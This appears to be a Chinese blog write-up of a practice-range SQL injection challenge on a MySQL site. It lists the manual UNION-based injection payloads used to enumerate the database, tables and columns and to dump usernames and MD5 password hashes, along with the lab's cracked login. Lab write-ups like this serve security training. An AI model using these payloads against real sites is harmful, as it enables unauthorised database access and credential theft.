在线靶场-墨者-SQL注入1星-SQL手工注入漏洞测试(MySQL数据库)

最新推荐文章于 2025-07-09 20:48:44 发布

笑棋

最新推荐文章于 2025-07-09 20:48:44 发布

阅读量2.6k

点赞数 1

CC 4.0 BY-SA版权

分类专栏：在线靶场-墨者题目文章标签：墨者学院-靶场题目

本文链接：https://blog.youkuaiyun.com/weixin_42079912/article/details/96464218

通过URL输入`and 1=1`与`and 1=2`判断出存在SQL注入漏洞。进一步利用`order by`确定字段数，结合`union select`获取数据库版本、数据库名、表名和字段信息。最终通过`group_concat`函数爆破StormGroup_member表中的用户名和经过MD5加密的密码。解密后发现用户名mozhe和密码248680是有效凭据，成功登录并获得key。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

尝试在URL后，输入and 1=1显示正常，and 1=2显示不正常，判断此处存在SQL注入
在这里插入图片描述

order by 获取字段数为4

and 1=2 union select 1,2,3,4 发现2在原文Title处，3在content处

and 1=2 union select 1,version(),database(),4 爆库得到

and 1=2 union select 1,version(),(select group_concat(table_name)from information_schema.tables where table_schema=database()),4爆表得到

and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’ 爆字段

and 1=2 union select 1,group_concat(name,0x5f,password,0x5f, status),3,4 from StormGroup_member 爆用户名密码
爆出的用户名密码有两个，先进行MD5解码的到密码，把两个都试了一遍，发现第二个才是正确的。
mozhe_96e2c5f641904870aff665c27d7bdcb1_1解密后得到密码：248680。